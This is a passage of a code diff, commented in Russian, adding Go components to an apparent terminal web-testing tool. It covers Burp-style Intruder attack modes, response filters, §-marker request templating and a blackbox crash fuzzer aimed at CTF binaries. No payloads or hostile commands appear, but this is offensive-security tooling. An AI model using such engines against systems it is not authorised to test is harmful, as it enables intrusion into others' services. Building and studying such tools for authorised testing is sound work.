resp.Body.Close()
|
||||
res.Body = string(body)
|
||||
res.Length = total
|
||||
}
|
||||
|
||||
select {
|
||||
case out <- res:
|
||||
case <-ctx.Done():
|
||||
return
|
||||
}
|
||||
|
||||
if e.cfg.RateLimit > 0 {
|
||||
select {
|
||||
case <-time.After(e.cfg.RateLimit):
|
||||
case <-ctx.Done():
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// RunBattering гоняет атаку в режиме Battering Ram: один генератор,
|
||||
// каждое его значение вставляется одновременно во все точки вставки
|
||||
// (в отличие от Sniper, где точки перебираются по очереди, здесь на
|
||||
// каждый запрос приходится ровно одно значение генератора, но во
|
||||
// все §маркеры§ сразу — удобно, когда один и тот же токен/ID
|
||||
// повторяется в нескольких местах запроса).
|
||||
func (e *Engine) RunBattering(ctx context.Context, clean string, points []InsertionPoint, gen payload.Generator) <-chan Result {
|
||||
out := make(chan Result)
|
||||
jobs := make(chan string)
|
||||
|
||||
var wg sync.WaitGroup
|
||||
for i := 0; i < e.cfg.Concurrency; i++ {
|
||||
wg.Add(1)
|
||||
go func() {
|
||||
defer wg.Done()
|
||||
for v := range jobs {
|
||||
payloads := make([]string, len(points))
|
||||
for i := range payloads {
|
||||
payloads[i] = v
|
||||
}
|
||||
e.send(ctx, clean, points, payloads, out)
|
||||
}
|
||||
}()
|
||||
}
|
||||
|
||||
go func() {
|
||||
defer close(jobs)
|
||||
gen.Reset()
|
||||
for {
|
||||
v, ok := gen.Next()
|
||||
if !ok {
|
||||
return
|
||||
}
|
||||
select {
|
||||
case jobs <- v:
|
||||
case <-ctx.Done():
|
||||
return
|
||||
}
|
||||
}
|
||||
}()
|
||||
|
||||
go func() {
|
||||
wg.Wait()
|
||||
close(out)
|
||||
}()
|
||||
|
||||
return out
|
||||
}
|
||||
|
||||
// RunPitchfork гоняет атаку в режиме Pitchfork: у каждой точки вставки
|
||||
// свой генератор (len(gens) должен равняться len(points)), но в отличие
|
||||
// от Cluster Bomb они не перемножаются, а идут в ногу — i-й запрос берёт
|
||||
// i-е значение из каждого генератора одновременно. Останавливается на
|
||||
// самом коротком генераторе: если один список payload'ов короче
|
||||
// остальных, лишние значения из более длинных просто не используются —
|
||||
// то же поведение, что и в Burp Pitchfork.
|
||||
func (e *Engine) RunPitchfork(ctx context.Context, clean string, points []InsertionPoint, gens []payload.Generator) (<-chan Result, error) {
|
||||
if len(gens) != len(points) {
|
||||
return nil, fmt.Errorf("ожидалось %d генераторов (по числу точек вставки), получено %d", len(points), len(gens))
|
||||
}
|
||||
|
||||
values := make([][]string, len(gens))
|
||||
minLen := -1
|
||||
for i, g := range gens {
|
||||
values[i] = drainGenerator(g)
|
||||
if len(values[i]) == 0 {
|
||||
return nil, fmt.Errorf("генератор для точки %q не выдал ни одного payload'а", points[i].Name)
|
||||
}
|
||||
if minLen == -1 || len(values[i]) < minLen {
|
||||
minLen = len(values[i])
|
||||
}
|
||||
}
|
||||
|
||||
out := make(chan Result)
|
||||
jobs := make(chan int) // общий индекс i в пределах minLen
|
||||
|
||||
var wg sync.WaitGroup
|
||||
for i := 0; i < e.cfg.Concurrency; i++ {
|
||||
wg.Add(1)
|
||||
go func() {
|
||||
defer wg.Done()
|
||||
for idx := range jobs {
|
||||
payloads := make([]string, len(points))
|
||||
for pos := range points {
|
||||
payloads[pos] = values[pos][idx]
|
||||
}
|
||||
e.send(ctx, clean, points, payloads, out)
|
||||
}
|
||||
}()
|
||||
}
|
||||
|
||||
go func() {
|
||||
defer close(jobs)
|
||||
for i := 0; i < minLen; i++ {
|
||||
select {
|
||||
case jobs <- i:
|
||||
case <-ctx.Done():
|
||||
return
|
||||
}
|
||||
}
|
||||
}()
|
||||
|
||||
go func() {
|
||||
wg.Wait()
|
||||
close(out)
|
||||
}()
|
||||
|
||||
return out, nil
|
||||
}
|
||||
|
||||
// RunClusterBomb гоняет атаку в режиме Cluster Bomb: каждой точке вставки
|
||||
// сопоставлен свой генератор (len(gens) должен равняться len(points)),
|
||||
// и перебираются все комбинации значений (декартово произведение).
|
||||
//
|
||||
// Значения каждого генератора вычитываются один раз в память
|
||||
// (drainGenerator), после чего перебор комбинаций идёт по индексам —
|
||||
// это ограничивает память суммой длин словарей, а не числом комбинаций,
|
||||
// которое при N позициях и M вариантах растёт как M^N.
|
||||
func (e *Engine) RunClusterBomb(ctx context.Context, clean string, points []InsertionPoint, gens []payload.Generator) (<-chan Result, error) {
|
||||
if len(gens) != len(points) {
|
||||
return nil, fmt.Errorf("ожидалось %d генераторов (по числу точек вставки), получено %d", len(points), len(gens))
|
||||
}
|
||||
|
||||
values := make([][]string, len(gens))
|
||||
for i, g := range gens {
|
||||
values[i] = drainGenerator(g)
|
||||
if len(values[i]) == 0 {
|
||||
return nil, fmt.Errorf("генератор для точки %q не выдал ни одного payload'а", points[i].Name)
|
||||
}
|
||||
}
|
||||
|
||||
out := make(chan Result)
|
||||
jobs := make(chan []int)
|
||||
|
||||
var wg sync.WaitGroup
|
||||
for i := 0; i < e.cfg.Concurrency; i++ {
|
||||
wg.Add(1)
|
||||
go func() {
|
||||
defer wg.Done()
|
||||
for idx := range jobs {
|
||||
payloads := make([]string, len(idx))
|
||||
for pos, vi := range idx {
|
||||
payloads[pos] = values[pos][vi]
|
||||
}
|
||||
e.send(ctx, clean, points, payloads, out)
|
||||
}
|
||||
}()
|
||||
}
|
||||
|
||||
go func() {
|
||||
defer close(jobs)
|
||||
odometer(values, func(idx []int) bool {
|
||||
cp := append([]int(nil), idx...)
|
||||
select {
|
||||
case jobs <- cp:
|
||||
return true
|
||||
case <-ctx.Done():
|
||||
return false
|
||||
}
|
||||
})
|
||||
}()
|
||||
|
||||
go func() {
|
||||
wg.Wait()
|
||||
close(out)
|
||||
}()
|
||||
|
||||
return out, nil
|
||||
}
|
||||
|
||||
// drainGenerator вычитывает генератор до конца в слайс значений.
|
||||
func drainGenerator(g payload.Generator) []string {
|
||||
g.Reset()
|
||||
var out []string
|
||||
for {
|
||||
v, ok := g.Next()
|
||||
if !ok {
|
||||
break
|
||||
}
|
||||
out = append(out, v)
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
// odometer перебирает все комбинации индексов по values (декартово
|
||||
// произведение), вызывая emit для каждой комбинации. Работает как счётчик
|
||||
// с разными основаниями по разрядам: последний разряд крутится быстрее
|
||||
// всего, при переполнении перенос идёт влево — отсюда и название.
|
||||
// Останавливается досрочно, если emit вернул false.
|
||||
func odometer(values [][]string, emit func(idx []int) bool) {
|
||||
n := len(values)
|
||||
if n == 0 {
|
||||
return
|
||||
}
|
||||
idx := make([]int, n)
|
||||
|
||||
for {
|
||||
if !emit(idx) {
|
||||
return
|
||||
}
|
||||
|
||||
pos := n - 1
|
||||
for pos >= 0 {
|
||||
idx[pos]++
|
||||
if idx[pos] < len(values[pos]) {
|
||||
break
|
||||
}
|
||||
idx[pos] = 0
|
||||
pos--
|
||||
}
|
||||
if pos < 0 {
|
||||
return // все разряды переполнились — перебор завершён
|
||||
}
|
||||
}
|
||||
}
|
||||
157
internal/engine/filter.go
Normal file
157
internal/engine/filter.go
Normal file
|
|
@ -0,0 +1,157 @@
|
|||
package engine
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"strconv"
|
||||
"strings"
|
||||
)
|
||||
|
||||
// StatusFilter решает, проходит ли статус-код фильтр.
|
||||
type StatusFilter func(code int) bool
|
||||
|
||||
// ParseStatusFilter разбирает спецификацию фильтра по статус-коду:
|
||||
// пустая строка — фильтр не задан (nil, всё проходит); список через
|
||||
// запятую вида "200,301,404"; диапазоны вида "200-299"; можно смешивать
|
||||
// в одном списке, напр. "200-299,404".
|
||||
func ParseStatusFilter(spec string) (StatusFilter, error) {
|
||||
spec = strings.TrimSpace(spec)
|
||||
if spec == "" {
|
||||
return nil, nil
|
||||
}
|
||||
|
||||
var preds []func(int) bool
|
||||
for _, tok := range strings.Split(spec, ",") {
|
||||
tok = strings.TrimSpace(tok)
|
||||
if tok == "" {
|
||||
continue
|
||||
}
|
||||
|
||||
if strings.Contains(tok, "-") {
|
||||
parts := strings.SplitN(tok, "-", 2)
|
||||
lo, err1 := strconv.Atoi(strings.TrimSpace(parts[0]))
|
||||
hi, err2 := strconv.Atoi(strings.TrimSpace(parts[1]))
|
||||
if err1 != nil || err2 != nil {
|
||||
return nil, fmt.Errorf("некорректный диапазон статусов %q", tok)
|
||||
}
|
||||
preds = append(preds, func(code int) bool { return code >= lo && code <= hi })
|
||||
continue
|
||||
}
|
||||
|
||||
n, err := strconv.Atoi(tok)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("некорректный статус %q", tok)
|
||||
}
|
||||
preds = append(preds, func(code int) bool { return code == n })
|
||||
}
|
||||
|
||||
if len(preds) == 0 {
|
||||
return nil, nil
|
||||
}
|
||||
return func(code int) bool {
|
||||
for _, p := range preds {
|
||||
if p(code) {
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}, nil
|
||||
}
|
||||
|
||||
// LengthFilter решает, проходит ли длина тела ответа фильтр.
|
||||
type LengthFilter func(length int64) bool
|
||||
|
||||
// ParseLengthFilter разбирает спецификацию фильтра по длине тела:
|
||||
// пустая строка — фильтр не задан; ">1000", "<500", ">=1000", "<=500" —
|
||||
// операторы сравнения; "100-500" — диапазон; просто число — точное
|
||||
// совпадение.
|
||||
func ParseLengthFilter(spec string) (LengthFilter, error) {
|
||||
return parseIntRangeFilter(spec)
|
||||
}
|
||||
|
||||
// WordFilter решает, проходит ли число слов в теле ответа фильтр —
|
||||
// аналог -mw/-fw у ffuf. "Слово" здесь — то же, что возвращает
|
||||
// strings.Fields (последовательность без пробельных символов).
|
||||
type WordFilter func(count int64) bool
|
||||
|
||||
// ParseWordFilter — тот же синтаксис, что и у ParseLengthFilter, просто
|
||||
// сравнивается число слов, а не байт.
|
||||
func ParseWordFilter(spec string) (WordFilter, error) {
|
||||
return parseIntRangeFilter(spec)
|
||||
}
|
||||
|
||||
// LineFilter решает, проходит ли число строк в теле ответа фильтр —
|
||||
// аналог -ml/-fl у ffuf.
|
||||
type LineFilter func(count int64) bool
|
||||
|
||||
// ParseLineFilter — тот же синтаксис, что и у остальных числовых фильтров.
|
||||
func ParseLineFilter(spec string) (LineFilter, error) {
|
||||
return parseIntRangeFilter(spec)
|
||||
}
|
||||
|
||||
// parseIntRangeFilter — общая операторная грамматика, на которой держатся
|
||||
// ParseLengthFilter/ParseWordFilter/ParseLineFilter: пустая строка —
|
||||
// фильтр не задан; ">N", "<N", ">=N", "<=N" — операторы сравнения;
|
||||
// "N-M" — диапазон; просто число — точное совпадение. Разница между
|
||||
// тремя фильтрами только в том, что именно считается на стороне
|
||||
// вызывающего кода (байты/слова/строки) — сам синтаксис один и тот же,
|
||||
// поэтому парсер один, а не три копии одной и той же логики.
|
||||
func parseIntRangeFilter(spec string) (func(int64) bool, error) {
|
||||
spec = strings.TrimSpace(spec)
|
||||
if spec == "" {
|
||||
return nil, nil
|
||||
}
|
||||
|
||||
parseNum := func(s string) (int64, error) {
|
||||
n, err := strconv.ParseInt(strings.TrimSpace(s), 10, 64)
|
||||
if err != nil {
|
||||
return 0, fmt.Errorf("некорректное число в %q", spec)
|
||||
}
|
||||
return n, nil
|
||||
}
|
||||
|
||||
switch {
|
||||
case strings.HasPrefix(spec, ">="):
|
||||
n, err := parseNum(spec[2:])
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return func(l int64) bool { return l >= n }, nil
|
||||
|
||||
case strings.HasPrefix(spec, "<="):
|
||||
n, err := parseNum(spec[2:])
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return func(l int64) bool { return l <= n }, nil
|
||||
|
||||
case strings.HasPrefix(spec, ">"):
|
||||
n, err := parseNum(spec[1:])
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return func(l int64) bool { return l > n }, nil
|
||||
|
||||
case strings.HasPrefix(spec, "<"):
|
||||
n, err := parseNum(spec[1:])
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return func(l int64) bool { return l < n }, nil
|
||||
|
||||
case strings.Contains(spec, "-"):
|
||||
parts := strings.SplitN(spec, "-", 2)
|
||||
lo, err1 := parseNum(parts[0])
|
||||
hi, err2 := parseNum(parts[1])
|
||||
if err1 != nil || err2 != nil {
|
||||
return nil, fmt.Errorf("некорректный диапазон %q", spec)
|
||||
}
|
||||
return func(l int64) bool { return l >= lo && l <= hi }, nil
|
||||
|
||||
default:
|
||||
n, err := parseNum(spec)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return func(l int64) bool { return l == n }, nil
|
||||
}
|
||||
}
|
||||
155
internal/engine/request.go
Normal file
155
internal/engine/request.go
Normal file
|
|
@ -0,0 +1,155 @@
|
|||
package engine
|
||||
|
||||
import (
|
||||
"bufio"
|
||||
"fmt"
|
||||
"net/http"
|
||||
"regexp"
|
||||
"strings"
|
||||
)
|
||||
|
||||
// InsertionPoint описывает одну точку вставки payload'а,
|
||||
// найденную в шаблоне запроса между маркерами §...§.
|
||||
type InsertionPoint struct {
|
||||
Start int // индекс начала в исходной строке (после удаления маркеров)
|
||||
End int
|
||||
Name string // человекочитаемое имя для UI, напр. "param:id"
|
||||
}
|
||||
|
||||
// RequestTemplate — сырой HTTP-запрос с маркерами позиций вставки.
|
||||
type RequestTemplate struct {
|
||||
Raw string // текст запроса с §маркерами§
|
||||
Method string
|
||||
URL string
|
||||
}
|
||||
|
||||
// ParseMarkers вычленяет §...§ из шаблона и возвращает
|
||||
// чистую строку + список точек вставки. Start/End в InsertionPoint —
|
||||
// это байтовые смещения в очищенной строке (то, чего ожидает срезовая
|
||||
// арифметика в BuildRequest), но сканирование ведётся по рунам через
|
||||
// range — иначе многобайтовый § (U+00A7 кодируется в UTF-8 двумя байтами,
|
||||
// 0xC2 0xA7) детектится только по второму байту, а первый молча утекает
|
||||
// в вывод как мусор. По той же причине пишем через b.WriteRune, а не
|
||||
// b.WriteByte — это же касается и любого другого не-ASCII текста в
|
||||
// запросе (например, кириллицы в значениях полей).
|
||||
func ParseMarkers(raw string) (clean string, points []InsertionPoint, err error) {
|
||||
var b strings.Builder
|
||||
inMarker := false
|
||||
start := -1
|
||||
|
||||
for _, r := range raw {
|
||||
if r == '§' {
|
||||
if !inMarker {
|
||||
inMarker = true
|
||||
start = b.Len()
|
||||
} else {
|
||||
inMarker = false
|
||||
points = append(points, InsertionPoint{
|
||||
Start: start,
|
||||
End: b.Len(),
|
||||
Name: fmt.Sprintf("pos%d", len(points)+1),
|
||||
})
|
||||
}
|
||||
continue
|
||||
}
|
||||
b.WriteRune(r)
|
||||
}
|
||||
if inMarker {
|
||||
return "", nil, fmt.Errorf("незакрытый маркер § в позиции %d", start)
|
||||
}
|
||||
return b.String(), points, nil
|
||||
}
|
||||
|
||||
// InsertBeforeMarker вставляет insertion непосредственно перед index-м по
|
||||
// счёту §маркером§ в сыром (ещё не прогнанном через ParseMarkers) тексте
|
||||
// запроса — используется рекурсией в Intruder: нашли директорию по слову
|
||||
// из словаря, нужно дофаззить уже внутри неё, то есть перед точкой
|
||||
// вставки должен появиться "найденное_слово/". Возвращает новый сырой
|
||||
// текст, всё ещё содержащий §маркеры§ — готовый для повторного
|
||||
// ParseMarkers+BuildRequest, ровно как исходный. Использует тот же
|
||||
// принцип счёта по рунам, что и DetectParamName (см. её комментарий
|
||||
// про многобайтовый § и связанный баг, который был здесь исправлен).
|
||||
func InsertBeforeMarker(raw string, index int, insertion string) (string, error) {
|
||||
count := -1
|
||||
for i, r := range raw {
|
||||
if r != '§' {
|
||||
continue
|
||||
}
|
||||
count++
|
||||
if count != index*2 {
|
||||
continue
|
||||
}
|
||||
return raw[:i] + insertion + raw[i:], nil
|
||||
}
|
||||
return "", fmt.Errorf("маркер с индексом %d не найден", index)
|
||||
}
|
||||
|
||||
// DetectParamName — эвристика для "умной" генерации payload'ов: пытается
|
||||
// определить имя параметра, стоящего непосредственно перед index-м по
|
||||
// счёту §маркером§ в сыром (ещё не прогнанном через ParseMarkers) тексте
|
||||
// запроса. index отсчитывается от 0 в порядке появления маркеров.
|
||||
// Понимает и query/form-параметры (name=§...§), и JSON-поля
|
||||
// ("name": "§...§" или "name": §...§). Возвращает пустую строку, если
|
||||
// определить не удалось — это подсказка, а не гарантия.
|
||||
func DetectParamName(raw string, index int) string {
|
||||
count := -1
|
||||
for i, r := range raw {
|
||||
if r != '§' {
|
||||
continue
|
||||
}
|
||||
count++
|
||||
if count != index*2 {
|
||||
continue
|
||||
}
|
||||
if m := paramNamePattern.FindStringSubmatch(raw[:i]); m != nil {
|
||||
return m[1]
|
||||
}
|
||||
return ""
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
// paramNamePattern ищет идентификатор, за которым сразу следует "=" или
|
||||
// ":" (с возможным пробелом/открывающей кавычкой) непосредственно перед
|
||||
// концом проверяемого префикса — то есть прямо перед местом, где стоял §.
|
||||
var paramNamePattern = regexp.MustCompile(`([A-Za-z0-9_\-\.]+)\s*[:=]\s*"?$`)
|
||||
|
||||
// BuildRequest подставляет payloads в точки вставки (в обратном порядке,
|
||||
// чтобы не сбивать индексы) и парсит результат в *http.Request.
|
||||
func BuildRequest(clean string, points []InsertionPoint, payloads []string) (*http.Request, error) {
|
||||
if len(payloads) != len(points) {
|
||||
return nil, fmt.Errorf("ожидалось %d payload'ов, получено %d", len(points), len(payloads))
|
||||
}
|
||||
|
||||
result := clean
|
||||
for i := len(points) - 1; i >= 0; i-- {
|
||||
p := points[i]
|
||||
result = result[:p.Start] + payloads[i] + result[p.End:]
|
||||
}
|
||||
|
||||
return parseRawHTTP(result)
|
||||
}
|
||||
|
||||
// parseRawHTTP разбирает сырой HTTP-запрос (request line + headers + body)
|
||||
// через стандартный http.ReadRequest. Тело запроса становится ReadCloser,
|
||||
// пригодным для http.Client.Do.
|
||||
func parseRawHTTP(raw string) (*http.Request, error) {
|
||||
reader := bufio.NewReader(strings.NewReader(raw))
|
||||
req, err := http.ReadRequest(reader)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("не удалось распарсить сырой HTTP-запрос: %w", err)
|
||||
}
|
||||
|
||||
// http.ReadRequest возвращает запрос с относительным URL и без схемы/хоста —
|
||||
// достраиваем абсолютный URL из заголовка Host, чтобы http.Client мог
|
||||
// выполнить запрос напрямую.
|
||||
if req.URL.Scheme == "" {
|
||||
req.URL.Scheme = "https"
|
||||
}
|
||||
if req.URL.Host == "" {
|
||||
req.URL.Host = req.Host
|
||||
}
|
||||
req.RequestURI = "" // обязательное требование http.Client.Do
|
||||
|
||||
return req, nil
|
||||
}
|
||||
294
internal/fuzzer/fuzzer.go
Normal file
294
internal/fuzzer/fuzzer.go
Normal file
|
|
@ -0,0 +1,294 @@
|
|||
// Package fuzzer реализует blackbox-мутационный фаззер произвольного
|
||||
// исполняемого файла — аналог AFL без инструментации (никакого coverage
|
||||
// feedback: цель не пересобирается с санитайзерами/инструментацией, мы
|
||||
// просто мутируем seed-байты и смотрим, не упала ли программа). Для CTF
|
||||
// pwn-задач этого обычно достаточно: цель — найти любой крашащий ввод
|
||||
// на заведомо уязвимом бинарнике, а не покрыть весь граф путей.
|
||||
//
|
||||
// Детект краша — по сигналу, которым завершился процесс (SIGSEGV,
|
||||
// SIGABRT и т.п.), поэтому пакет завязан на syscall.WaitStatus и реально
|
||||
// работает только на Unix-подобных системах — под Windows exec.ExitError.Sys()
|
||||
// возвращает другой тип, и isCrashSignal никогда не сработает. Это
|
||||
// осознанное ограничение: цель — ALT Linux, кросс-платформенность здесь
|
||||
// не задача.
|
||||
package fuzzer
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"context"
|
||||
"errors"
|
||||
"fmt"
|
||||
"hash/fnv"
|
||||
"math/rand"
|
||||
"os"
|
||||
"os/exec"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
"sync"
|
||||
"sync/atomic"
|
||||
"syscall"
|
||||
"time"
|
||||
)
|
||||
|
||||
// Config — параметры одного прогона фаззера.
|
||||
type Config struct {
|
||||
Target string
|
||||
// Args — аргументы цели. Один из них — "@@" — заменяется на путь
|
||||
// к временному файлу с мутированным вводом. Игнорируется, если
|
||||
// UseStdin true.
|
||||
Args []string
|
||||
UseStdin bool // подавать ввод через stdin вместо файла
|
||||
Timeout time.Duration
|
||||
Workers int
|
||||
CrashDir string // куда сохранять крашащие вводы; пусто — не сохранять на диск
|
||||
}
|
||||
|
||||
// EventKind различает тик прогресса и находку — тот же принцип, что
|
||||
// и scanner.Event: один канал, а не два, чтобы не гонять отдельную
|
||||
// синхронизацию между потоками прогресса и находок.
|
||||
type EventKind int
|
||||
|
||||
const (
|
||||
EventProgress EventKind = iota
|
||||
EventCrash
|
||||
)
|
||||
|
||||
// Crash — один крашащий ввод.
|
||||
type Crash struct {
|
||||
Input []byte
|
||||
Signal string // "SIGSEGV" и т.п., либо "timeout"
|
||||
Stderr string // обрезанный stderr цели — часто содержит зацепку (напр. "stack smashing detected")
|
||||
Path string // куда сохранён ввод на диске, пусто — если CrashDir не задан
|
||||
}
|
||||
|
||||
// Event — одно сообщение из канала Fuzzer.Run.
|
||||
type Event struct {
|
||||
Kind EventKind
|
||||
Execs int64 // валидно при EventProgress — суммарный счётчик выполнений
|
||||
Crash Crash // валидно при EventCrash
|
||||
}
|
||||
|
||||
// Fuzzer гоняет мутации seed-корпуса против одной цели.
|
||||
type Fuzzer struct {
|
||||
cfg Config
|
||||
corpus [][]byte
|
||||
}
|
||||
|
||||
// New проверяет конфигурацию и создаёт Fuzzer. Не запускает ничего сам —
|
||||
// см. Run.
|
||||
func New(cfg Config, seeds [][]byte) (*Fuzzer, error) {
|
||||
if len(seeds) == 0 {
|
||||
return nil, fmt.Errorf("нужен хотя бы один seed-ввод")
|
||||
}
|
||||
if cfg.Workers <= 0 {
|
||||
cfg.Workers = 4
|
||||
}
|
||||
if cfg.Timeout <= 0 {
|
||||
cfg.Timeout = 2 * time.Second
|
||||
}
|
||||
if !cfg.UseStdin && !strings.Contains(strings.Join(cfg.Args, " "), "@@") {
|
||||
return nil, fmt.Errorf("в args нет плейсхолдера @@ (или включи UseStdin, если цель читает ввод из stdin)")
|
||||
}
|
||||
if cfg.CrashDir != "" {
|
||||
if err := os.MkdirAll(cfg.CrashDir, 0o700); err != nil {
|
||||
return nil, fmt.Errorf("создание директории для крашей: %w", err)
|
||||
}
|
||||
}
|
||||
return &Fuzzer{cfg: cfg, corpus: seeds}, nil
|
||||
}
|
||||
|
||||
// LoadSeeds читает файлы по путям в срез сэмплов для New. Не разворачивает
|
||||
// директории рекурсивно — сознательно просто, вызывающий код (TUI) сам
|
||||
// решает, какие файлы передать.
|
||||
func LoadSeeds(paths []string) ([][]byte, error) {
|
||||
seeds := make([][]byte, 0, len(paths))
|
||||
for _, p := range paths {
|
||||
b, err := os.ReadFile(p)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("чтение seed %s: %w", p, err)
|
||||
}
|
||||
seeds = append(seeds, b)
|
||||
}
|
||||
return seeds, nil
|
||||
}
|
||||
|
||||
// Run запускает cfg.Workers параллельных воркеров, каждый в своём цикле:
|
||||
// взял случайный сэмпл из корпуса → havoc-мутация → запуск цели → если
|
||||
// краш — эмит события. Отдельная горутина шлёт тик прогресса каждые
|
||||
// 500мс, чтобы UI видел execs/сек даже когда крашей долго нет. Канал
|
||||
// закрывается, когда все воркеры и тикер прогресса завершатся (по
|
||||
// отмене ctx) — оба вида горутин отслеживаются одним sync.WaitGroup,
|
||||
// иначе закрытие канала могло бы обогнать ещё живого отправителя.
|
||||
func (f *Fuzzer) Run(ctx context.Context) <-chan Event {
|
||||
out := make(chan Event)
|
||||
var execs int64
|
||||
var wg sync.WaitGroup
|
||||
|
||||
for w := 0; w < f.cfg.Workers; w++ {
|
||||
wg.Add(1)
|
||||
go func(rngSeed int64) {
|
||||
defer wg.Done()
|
||||
rng := rand.New(rand.NewSource(rngSeed))
|
||||
for {
|
||||
select {
|
||||
case <-ctx.Done():
|
||||
return
|
||||
default:
|
||||
}
|
||||
|
||||
base := f.corpus[rng.Intn(len(f.corpus))]
|
||||
input := havoc(rng, base, f.corpus)
|
||||
|
||||
crash, err := f.execute(ctx, input)
|
||||
atomic.AddInt64(&execs, 1)
|
||||
if err != nil {
|
||||
continue // ошибка запуска (не найден бинарник и т.п.) — не находка, просто пропускаем итерацию
|
||||
}
|
||||
if crash == nil {
|
||||
continue
|
||||
}
|
||||
crash.Path = f.saveCrash(input, *crash)
|
||||
select {
|
||||
case out <- Event{Kind: EventCrash, Crash: *crash}:
|
||||
case <-ctx.Done():
|
||||
return
|
||||
}
|
||||
}
|
||||
}(time.Now().UnixNano() + int64(w))
|
||||
}
|
||||
|
||||
wg.Add(1)
|
||||
go func() {
|
||||
defer wg.Done()
|
||||
ticker := time.NewTicker(500 * time.Millisecond)
|
||||
defer ticker.Stop()
|
||||
for {
|
||||
select {
|
||||
case <-ctx.Done():
|
||||
return
|
||||
case <-ticker.C:
|
||||
select {
|
||||
case out <- Event{Kind: EventProgress, Execs: atomic.LoadInt64(&execs)}:
|
||||
case <-ctx.Done():
|
||||
return
|
||||
}
|
||||
}
|
||||
}
|
||||
}()
|
||||
|
||||
go func() {
|
||||
wg.Wait()
|
||||
close(out)
|
||||
}()
|
||||
|
||||
return out
|
||||
}
|
||||
|
||||
// execute запускает цель с input один раз. Возвращает (nil, nil), если
|
||||
// краша не было; (*Crash, nil) — если был; (nil, err) — если сам запуск
|
||||
// не удался технически (например, бинарник не найден или нет прав на
|
||||
// выполнение) — это ошибка конфигурации, не находка фаззера.
|
||||
func (f *Fuzzer) execute(ctx context.Context, input []byte) (*Crash, error) {
|
||||
execCtx, cancel := context.WithTimeout(ctx, f.cfg.Timeout)
|
||||
defer cancel()
|
||||
|
||||
args := append([]string(nil), f.cfg.Args...)
|
||||
|
||||
if !f.cfg.UseStdin {
|
||||
tmp, err := os.CreateTemp("", "burterm-fuzz-*")
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("временный файл: %w", err)
|
||||
}
|
||||
tmpPath := tmp.Name()
|
||||
defer os.Remove(tmpPath)
|
||||
if _, err := tmp.Write(input); err != nil {
|
||||
tmp.Close()
|
||||
return nil, fmt.Errorf("запись временного файла: %w", err)
|
||||
}
|
||||
tmp.Close()
|
||||
|
||||
for i, a := range args {
|
||||
if a == "@@" {
|
||||
args[i] = tmpPath
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
cmd := exec.CommandContext(execCtx, f.cfg.Target, args...)
|
||||
if f.cfg.UseStdin {
|
||||
cmd.Stdin = bytes.NewReader(input)
|
||||
}
|
||||
var stderr limitedBuffer
|
||||
stderr.max = 4096
|
||||
cmd.Stderr = &stderr
|
||||
|
||||
runErr := cmd.Run()
|
||||
|
||||
if execCtx.Err() == context.DeadlineExceeded {
|
||||
return &Crash{Input: input, Signal: "timeout", Stderr: stderr.buf.String()}, nil
|
||||
}
|
||||
if runErr == nil {
|
||||
return nil, nil
|
||||
}
|
||||
|
||||
var exitErr *exec.ExitError
|
||||
if errors.As(runErr, &exitErr) {
|
||||
if status, ok := exitErr.Sys().(syscall.WaitStatus); ok && status.Signaled() {
|
||||
sig := status.Signal()
|
||||
if isCrashSignal(sig) {
|
||||
return &Crash{Input: input, Signal: sig.String(), Stderr: stderr.buf.String()}, nil
|
||||
}
|
||||
}
|
||||
// Ненулевой код возврата без крашащего сигнала — почти наверняка
|
||||
// программа сама распознала невалидный ввод и штатно завершилась
|
||||
// с ошибкой. Это нормальное поведение большинства CLI-утилит,
|
||||
// не считаем находкой, иначе UI завалило бы ложными "крашами".
|
||||
return nil, nil
|
||||
}
|
||||
|
||||
return nil, fmt.Errorf("запуск цели: %w", runErr)
|
||||
}
|
||||
|
||||
func isCrashSignal(sig syscall.Signal) bool {
|
||||
switch sig {
|
||||
case syscall.SIGSEGV, syscall.SIGABRT, syscall.SIGFPE, syscall.SIGILL, syscall.SIGBUS:
|
||||
return true
|
||||
default:
|
||||
return false
|
||||
}
|
||||
}
|
||||
|
||||
// saveCrash пишет крашащий ввод на диск с именем на основе сигнала и
|
||||
// короткого хэша содержимого (fnv — не крипто-хэш, здесь и не нужен,
|
||||
// просто чтобы разные краши не затирали друг друга одним именем файла).
|
||||
func (f *Fuzzer) saveCrash(input []byte, crash Crash) string {
|
||||
if f.cfg.CrashDir == "" {
|
||||
return ""
|
||||
}
|
||||
h := fnv.New32a()
|
||||
h.Write(input)
|
||||
name := fmt.Sprintf("crash-%s-%08x", strings.ToLower(strings.TrimPrefix(crash.Signal, "SIG")), h.Sum32())
|
||||
path := filepath.Join(f.cfg.CrashDir, name)
|
||||
_ = os.WriteFile(path, input, 0o600)
|
||||
return path
|
||||
}
|
||||
|
||||
// limitedBuffer — тот же принцип, что и капированные буферы в engine/proxy:
|
||||
// пишем не больше max байт, но Write всегда сообщает вызывающему "успех"
|
||||
// (возвращает исходную длину p), чтобы cmd.Run() не считал это ошибкой
|
||||
// ввода-вывода только из-за того, что нам не нужен весь stderr целиком.
|
||||
type limitedBuffer struct {
|
||||
buf bytes.Buffer
|
||||
max int
|
||||
}
|
||||
|
||||
func (b *limitedBuffer) Write(p []byte) (int, error) {
|
||||
n := len(p)
|
||||
if remaining := b.max - b.buf.Len(); remaining > 0 {
|
||||
if len(p) > remaining {
|
||||
p = p[:remaining]
|
||||
}
|
||||
b.buf.Write(p)
|
||||
}
|
||||
return n, nil
|
||||
}
|
||||
149
internal/fuzzer/mutate.go
Normal file
149
internal/fuzzer/mutate.go
Normal file
|
|
@ -0,0 +1,149 @@
|
|||
package fuzzer
|
||||
|
||||
import (
|
||||
"encoding/binary"
|
